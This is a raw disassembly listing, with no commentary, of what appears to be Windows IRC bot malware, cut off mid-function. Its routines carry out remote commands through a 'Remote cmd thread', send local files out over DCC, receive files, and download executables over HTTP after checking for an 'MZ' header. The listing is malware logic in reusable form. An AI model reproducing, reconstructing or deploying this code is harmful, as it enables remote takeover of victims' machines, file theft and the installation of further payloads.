=============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D6E proc near ; CODE XREF: sub_40A9CF+14A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_401DA6 cmp [ebp+arg_4], 0 jnz short loc_401D8B jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401D8B: ; CODE XREF: sub_401D6E+16j push 0 push 0 push 0 push [ebp+arg_4] push offset aOpen ; "open" push 0 call ds:dword_4171D0 jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401DA6: ; CODE XREF: sub_401D6E+10j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_401DBC jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401DBC: ; CODE XREF: sub_401D6E+4Aj cmp [ebp+arg_4], 0 jz short loc_401DD9 push 200h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch loc_401DD9: ; CODE XREF: sub_401D6E+52j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_405F67 pop ecx pop ecx push offset aRemoteCmdThrea ; "Remote cmd thread" push 1 push [ebp+var_4] push offset sub_401981 call sub_4095A4 add esp, 10h cmp [ebp+arg_4], 0 jnz short loc_401E0B jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401E0B: ; CODE XREF: sub_401D6E+99j push offset asc_418214 ; "\r\n" push [ebp+arg_4] call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_4] call sub_401D39 pop ecx test eax, eax jnz short locret_401E36 push offset aErrorWhileExec ; "Error while executing command." push [ebp+arg_0] call sub_40D53F pop ecx pop ecx locret_401E36: ; CODE XREF: sub_401D6E+18j ; sub_401D6E+33j ... leave retn sub_401D6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E38 proc near ; DATA XREF: sub_4024F3+10Bo var_614 = qword ptr -614h var_60C = qword ptr -60Ch var_604 = dword ptr -604h var_600 = dword ptr -600h var_5FC = dword ptr -5FCh var_5F8 = dword ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = dword ptr -5E8h var_5E4 = dword ptr -5E4h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5BB = byte ptr -5BBh var_4B7 = byte ptr -4B7h var_3B7 = byte ptr -3B7h var_3AD = byte ptr -3ADh var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 604h push 3D6h push [ebp+arg_0] lea eax, [ebp+var_5E0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_5BB] push eax call ds:dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_5BB] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_5E4], eax cmp [ebp+var_5E4], 0 jnz short loc_401EA3 push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EA3: ; CODE XREF: sub_401E38+56j push 2710h push 0 lea eax, [ebp+var_3B7] push eax lea eax, [ebp+var_4B7] push eax call sub_4050EA add esp, 10h mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_401EEE push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EEE: ; CODE XREF: sub_401E38+95j lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax mov eax, [ebp+var_5E0] push dword ptr [eax] push offset dword_418280 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_5E8], eax and [ebp+var_204], 0 loc_401F2A: ; CODE XREF: sub_401E38:loc_401FD8j push 0 push 200h lea eax, [ebp+var_200] push eax push [ebp+var_208] call ds:dword_417248 ; recv mov [ebp+var_5F0], eax cmp [ebp+var_5F0], 0 jz short loc_401F5F cmp [ebp+var_5F0], 200h jbe short loc_401F61 loc_401F5F: ; CODE XREF: sub_401E38+119j jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401F61: ; CODE XREF: sub_401E38+125j mov eax, [ebp+var_204] add eax, [ebp+var_5F0] mov [ebp+var_204], eax push [ebp+var_204] call ds:dword_41724C ; htonl mov [ebp+var_5F4], eax push 4 lea eax, [ebp+var_5F4] push eax push [ebp+var_208] call sub_4053BF add esp, 0Ch push [ebp+var_5E4] push [ebp+var_5F0] push 1 lea eax, [ebp+var_200] push eax call sub_416B7C ; fwrite add esp, 10h cmp [ebp+var_5F0], 200h jnb short loc_401FC7 jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401FC7: ; CODE XREF: sub_401E38+18Bj mov eax, [ebp+var_5E0] cmp dword ptr [eax+4], 0 jz short loc_401FD8 jmp loc_4020BC ; --------------------------------------------------------------------------- loc_401FD8: ; CODE XREF: sub_401E38+199j jmp loc_401F2A ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401E38:loc_401F5Fj ; sub_401E38+18Dj push [ebp+var_5E4] call sub_416B76 ; ftell pop ecx mov [ebp+var_5EC], eax call sub_416B64 ; clock cmp [ebp+var_5E8], eax jnz short loc_402008 call sub_416B64 ; clock dec eax mov [ebp+var_5E8], eax loc_402008: ; CODE XREF: sub_401E38+1C2j mov eax, [ebp+var_5EC] cdq mov ecx, 400h idiv ecx mov [ebp+var_5F8], eax fild [ebp+var_5F8] fstp [ebp+var_5FC] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_600], eax fild [ebp+var_600] fdiv ds:flt_417270 fdivr [ebp+var_5FC] push ecx push ecx fstp [esp+60Ch+var_60C] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_604], eax fild [ebp+var_604] fdiv ds:flt_417270 push ecx push ecx fstp [esp+614h+var_614] lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax push offset dword_418234 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 20h loc_402094: ; CODE XREF: sub_401E38:loc_4020BCj push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_208] call sub_40538D pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp short locret_4020BE ; --------------------------------------------------------------------------- loc_4020BC: ; CODE XREF: sub_401E38+19Bj jmp short loc_402094 ; --------------------------------------------------------------------------- locret_4020BE: ; CODE XREF: sub_401E38+66j ; sub_401E38+B1j ... leave retn 4 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020C2 proc near ; DATA XREF: sub_40260D+7Co var_A2C = qword ptr -0A2Ch var_A24 = qword ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = byte ptr -0A04h var_9FC = dword ptr -9FCh var_9F8 = dword ptr -9F8h var_9F4 = dword ptr -9F4h var_9F0 = byte ptr -9F0h var_8EC = dword ptr -8ECh var_8E8 = dword ptr -8E8h var_8E4 = dword ptr -8E4h var_8E0 = byte ptr -8E0h var_8BF = byte ptr -8BFh var_8BE = byte ptr -8BEh var_7BB = byte ptr -7BBh var_618 = dword ptr -618h var_614 = byte ptr -614h var_210 = byte ptr -210h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A1Ch push 2CCh push [ebp+arg_0] lea eax, [ebp+var_8E4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_8BF] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_9F8], eax jmp short loc_40210D ; --------------------------------------------------------------------------- loc_402100: ; CODE XREF: sub_4020C2:loc_40215Ej mov eax, [ebp+var_9F8] dec eax mov [ebp+var_9F8], eax loc_40210D: ; CODE XREF: sub_4020C2+3Cj cmp [ebp+var_9F8], 0 jnz short loc_40212D lea eax, [ebp+var_8BF] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40212D: ; CODE XREF: sub_4020C2+52j mov eax, [ebp+var_9F8] movsx eax, [ebp+eax+var_8BF] cmp eax, 5Ch jnz short loc_40215E mov eax, [ebp+var_9F8] lea eax, [ebp+eax+var_8BE] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40215E: ; CODE XREF: sub_4020C2+7Cj jmp short loc_402100 ; --------------------------------------------------------------------------- loc_402160: ; CODE XREF: sub_4020C2+69j ; sub_4020C2+9Aj mov [ebp+var_8E8], 10h lea eax, [ebp+var_8E8] push eax lea eax, [ebp+var_10] push eax call sub_40CF25 push eax call ds:dword_417240 ; getsockname push 2 push 0 push 0 push 401h lea eax, [ebp+var_614] push eax push [ebp+var_8E8] lea eax, [ebp+var_10] push eax call ds:dword_41DF58 ; getnameinfo test eax, eax jz short loc_4021BA push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_4021BA: ; CODE XREF: sub_4020C2+E3j push 0Ah lea eax, [ebp+var_A04] push eax push 1388h push 400h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 lea eax, [ebp+var_A04] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_9FC], eax cmp [ebp+var_9FC], 0 jnz short loc_40220F push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40220F: ; CODE XREF: sub_4020C2+138j push offset aRb ; "rb" lea eax, [ebp+var_8BF] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8EC], eax cmp [ebp+var_8EC], 0 jnz short loc_402250 push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_402250: ; CODE XREF: sub_4020C2+16Dj push 2 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_8EC] call sub_416B76 ; ftell pop ecx mov [ebp+var_A08], eax push 0 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch lea eax, [ebp+var_614] push eax lea eax, [ebp+var_9F0] push eax push offset aDccSendSS ; "DCC Send %s (%s)" lea eax, [ebp+var_8E0] push eax call sub_40D420 add esp, 10h push [ebp+var_A08] lea eax, [ebp+var_A04] push eax lea eax, [ebp+var_614] push eax call ds:dword_417244 ; inet_addr push eax call ds:dword_41724C ; htonl push eax lea eax, [ebp+var_9F0] push eax push offset dword_418348 lea eax, [ebp+var_8E0] push eax call sub_40D4AB add esp, 18h push 0EA60h push [ebp+var_9FC] call sub_4048EF pop ecx pop ecx mov [ebp+var_618], eax cmp [ebp+var_618], 0 jz short loc_40230F cmp [ebp+var_618], 0FFFFFFFFh jnz short loc_40233A loc_40230F: ; CODE XREF: sub_4020C2+242j push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_4020C2+24Bj lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax mov eax, [ebp+var_8E4] push dword ptr [eax] push offset dword_418320 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_9F4], eax loc_40236F: ; CODE XREF: sub_4020C2:loc_40240Dj push [ebp+var_8EC] push 200h push 1 lea eax, [ebp+var_210] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_A0C], eax cmp [ebp+var_A0C], 0 jz short loc_4023A6 cmp [ebp+var_A0C], 200h jbe short loc_4023A8 loc_4023A6: ; CODE XREF: sub_4020C2+2D6j jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023A8: ; CODE XREF: sub_4020C2+2E2j push [ebp+var_A0C] lea eax, [ebp+var_210] push eax push [ebp+var_618] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4023EE lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182F4 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 10h jmp loc_4024ED ; --------------------------------------------------------------------------- loc_4023EE: ; CODE XREF: sub_4020C2+303j cmp [ebp+var_A0C], 200h jnb short loc_4023FC jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023FC: ; CODE XREF: sub_4020C2+336j mov eax, [ebp+var_8E4] cmp dword ptr [eax+4], 0 jz short loc_40240D jmp loc_4024EB ; --------------------------------------------------------------------------- loc_40240D: ; CODE XREF: sub_4020C2+344j jmp loc_40236F ; --------------------------------------------------------------------------- loc_402412: ; CODE XREF: sub_4020C2:loc_4023A6j ; sub_4020C2+338j call sub_416B64 ; clock cmp [ebp+var_9F4], eax jnz short loc_40242B call sub_416B64 ; clock dec eax mov [ebp+var_9F4], eax loc_40242B: ; CODE XREF: sub_4020C2+35Bj mov eax, [ebp+var_A08] cdq mov ecx, 400h idiv ecx mov [ebp+var_A10], eax fild [ebp+var_A10] fstp [ebp+var_A14] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A18], eax fild [ebp+var_A18] fdiv ds:flt_417270 fdivr [ebp+var_A14] push ecx push ecx fstp [esp+0A24h+var_A24] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A1C], eax fild [ebp+var_A1C] fdiv ds:flt_417270 push ecx push ecx fstp [esp+0A2Ch+var_A2C] lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182B0 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 20h loc_4024B7: ; CODE XREF: sub_4020C2:loc_4024EBj ; sub_4020C2:loc_4024EDj push [ebp+var_618] call sub_40538D pop ecx push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp short locret_4024EF ; --------------------------------------------------------------------------- loc_4024EB: ; CODE XREF: sub_4020C2+346j jmp short loc_4024B7 ; --------------------------------------------------------------------------- loc_4024ED: ; CODE XREF: sub_4020C2+327j jmp short loc_4024B7 ; --------------------------------------------------------------------------- locret_4024EF: ; CODE XREF: sub_4020C2+F3j ; sub_4020C2+148j ... leave retn 4 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024F3 proc near ; CODE XREF: sub_40D871+203p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_402511 cmp [ebp+arg_8], 0 jz short loc_402511 cmp [ebp+arg_C], 0 jz short loc_402511 cmp [ebp+arg_10], 0 jnz short loc_402516 loc_402511: ; CODE XREF: sub_4024F3+Aj ; sub_4024F3+10j ... jmp locret_40260B ; --------------------------------------------------------------------------- loc_402516: ; CODE XREF: sub_4024F3+1Cj push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_402531 cmp [ebp+var_8], 0FFFFh jbe short loc_402536 loc_402531: ; CODE XREF: sub_4024F3+33j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402536: ; CODE XREF: sub_4024F3+3Cj push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_402551 cmp [ebp+var_8], 40000000h jbe short loc_402556 loc_402551: ; CODE XREF: sub_4024F3+53j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402556: ; CODE XREF: sub_4024F3+5Cj push 3D6h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40256F jmp locret_40260B ; --------------------------------------------------------------------------- loc_40256F: ; CODE XREF: sub_4024F3+75j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 100h push [ebp+arg_C] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B58 ; strncpy add esp, 0Ch push 6 push [ebp+arg_10] mov eax, [ebp+var_4] add eax, 229h push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+22Fh], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 233h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_41837C push 0 push [ebp+var_4] push offset sub_401E38 call sub_4095A4 add esp, 18h locret_40260B: ; CODE XREF: sub_4024F3:loc_402511j ; sub_4024F3:loc_402531j ... leave retn sub_4024F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40260D proc near ; CODE XREF: sub_40A9CF+98Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jz short loc_40261D cmp [ebp+arg_8], 0 jnz short loc_40261F loc_40261D: ; CODE XREF: sub_40260D+8j jmp short locret_402696 ; --------------------------------------------------------------------------- loc_40261F: ; CODE XREF: sub_40260D+Ej push 2CCh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_402635 jmp short locret_402696 ; --------------------------------------------------------------------------- loc_402635: ; CODE XREF: sub_40260D+24j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4183A0 push 0 push [ebp+var_4] push offset sub_4020C2 call sub_4095A4 add esp, 18h locret_402696: ; CODE XREF: sub_40260D:loc_40261Dj ; sub_40260D+26j leave retn sub_40260D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402698 proc near ; CODE XREF: sub_402A32+5C9p var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 420h push 2710h push 0 push [ebp+arg_C] push [ebp+arg_8] call sub_4050EA add esp, 10h mov [ebp+var_414], eax cmp [ebp+var_414], 0 jnz short loc_4026CC xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4026CC: ; CODE XREF: sub_402698+2Bj push [ebp+arg_8] push [ebp+arg_10] push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 401h lea eax, [ebp+var_404] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_4053BF add esp, 0Ch push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402745 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_402758 loc_402745: ; CODE XREF: sub_402698+A2j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_402758: ; CODE XREF: sub_402698+ABj push offset asc_4183EC ; "\r\n\r\n" lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_40278D push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40278D: ; CODE XREF: sub_402698+E0j mov eax, [ebp+var_410] add eax, 4 mov [ebp+var_410], eax push offset aContentLength ; "Content-Length: " lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_40C], eax cmp [ebp+var_40C], 0 jz short loc_4027CC mov eax, [ebp+var_40C] cmp eax, [ebp+var_410] jbe short loc_4027DF loc_4027CC: ; CODE XREF: sub_402698+124j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4027DF: ; CODE XREF: sub_402698+132j and [ebp+var_41C], 0 lea eax, [ebp+var_41C] push eax push offset aContentLengthU ; "Content-Length: %u\r\n" push [ebp+var_40C] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_408], eax cmp [ebp+var_408], 1 jnz short loc_402818 cmp [ebp+var_41C], 0 jnz short loc_40282B loc_402818: ; CODE XREF: sub_402698+175j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40282B: ; CODE XREF: sub_402698+17Ej cmp [ebp+arg_1C], 0 jz short loc_40285D cmp [ebp+var_41C], 2 jb short loc_40284A mov eax, [ebp+var_410] movzx eax, word ptr [eax] cmp eax, 5A4Dh jz short loc_40285D loc_40284A: ; CODE XREF: sub_402698+1A0j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40285D: ; CODE XREF: sub_402698+197j ; sub_402698+1B0j cmp [ebp+arg_18], 0 jz short loc_40286E mov eax, [ebp+arg_18] mov ecx, [ebp+var_41C] mov [eax], ecx loc_40286E: ; CODE XREF: sub_402698+1C9j push [ebp+arg_14] call sub_4167B9 pop ecx test eax, eax jz short loc_40288E push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40288E: ; CODE XREF: sub_402698+1E1j push offset dword_4182AC push [ebp+arg_14] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 0 jnz short loc_4028BF push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4028BF: ; CODE XREF: sub_402698+212j push [ebp+var_418] mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax push ecx push 1 push [ebp+var_410] call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax mov eax, [ebp+var_41C] sub eax, ecx mov [ebp+var_41C], eax loc_402910: ; CODE XREF: sub_402698:loc_402A1Dj cmp [ebp+arg_20], 0 jz short loc_40293F mov eax, [ebp+arg_20] cmp dword ptr [eax+4], 0 jz short loc_40293F push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40293F: ; CODE XREF: sub_402698+27Cj ; sub_402698+285j push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402976 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_40299E loc_402976: ; CODE XREF: sub_402698+2D3j push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push [ebp+arg_14] call ds:dword_4170AC ; DeleteFileA xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40299E: ; CODE XREF: sub_402698+2DCj mov eax, [ebp+var_420] cmp eax, [ebp+var_41C] jbe short loc_4029C8 push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_4029C8: ; CODE XREF: sub_402698+312j push [ebp+var_418] push [ebp+var_420] push 1 lea eax, [ebp+var_404] push eax call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_41C] sub eax, [ebp+var_420] mov [ebp+var_41C], eax cmp [ebp+var_41C], 0 jnz short loc_402A1D push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_402A1D: ; CODE XREF: sub_402698+366j jmp loc_402910 ; --------------------------------------------------------------------------- locret_402A22: ; CODE XREF: sub_402698+2Fj ; sub_402698+BBj ... leave retn sub_402698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A24 proc near ; CODE XREF: sub_402A32+625p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A2B proc near ; CODE XREF: sub_402A32+673p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A32 proc near ; DATA XREF: sub_403260+BCo var_814 = qword ptr -814h var_804 = qword ptr -804h var_7FC = dword ptr -7FCh var_7F8 = qword ptr -7F8h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_6D5 = byte ptr -6D5h var_6D4 = byte ptr -6D4h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = byte ptr -6BCh var_6BB = byte ptr -6BBh var_63C = dword ptr -63Ch var_638 = byte ptr -638h var_637 = byte ptr -637h var_632 = byte ptr -632h var_631 = byte ptr -631h var_534 = byte ptr -534h var_430 = byte ptr -430h var_2A8 = byte ptr -2A8h var_2A7 = byte ptr -2A7h var_2A6 = byte ptr -2A6h var_2A3 = byte ptr -2A3h var_296 = byte ptr -296h var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_284 = byte ptr -284h var_283 = byte ptr -283h var_204 = byte ptr -204h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 804h push edi push 3AFh push [ebp+arg_0] lea eax, [ebp+var_63C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_638] push eax lea eax, [ebp+var_7DC] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_288], 0 mov [ebp+var_28C], 1 and [ebp+var_6CC], 0 mov al, ds:byte_41DF00 mov [ebp+var_284], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_283] rep stosd stosw stosb mov al, ds:byte_41DF00 mov [ebp+var_6BC], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_6BB] rep stosd stosw stosb and [ebp+var_6C8], 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_4185CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 14h push 7 push offset dword_4185C4 lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_402B93 push 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_631] push eax call ds:dword_417060 ; CopyFileA test eax, eax jnz short loc_402B8E call ds:dword_417064 ; RtlGetLastWin32Error cmp eax, 20h jnz short loc_402B58 lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41858C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h jmp short loc_402B7B ; --------------------------------------------------------------------------- loc_402B58: ; CODE XREF: sub_402A32+FFj lea eax, [ebp+var_631] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41855C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_402B7B: ; CODE XREF: sub_402A32+124j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402B8E: ; CODE XREF: sub_402A32+F4j jmp loc_403256 ; --------------------------------------------------------------------------- loc_402B93: ; CODE XREF: sub_402A32+D6j lea eax, [ebp+var_638] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_6C0], eax jmp short loc_402BB5 ; --------------------------------------------------------------------------- loc_402BA8: ; CODE XREF: sub_402A32:loc_402CD8j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax 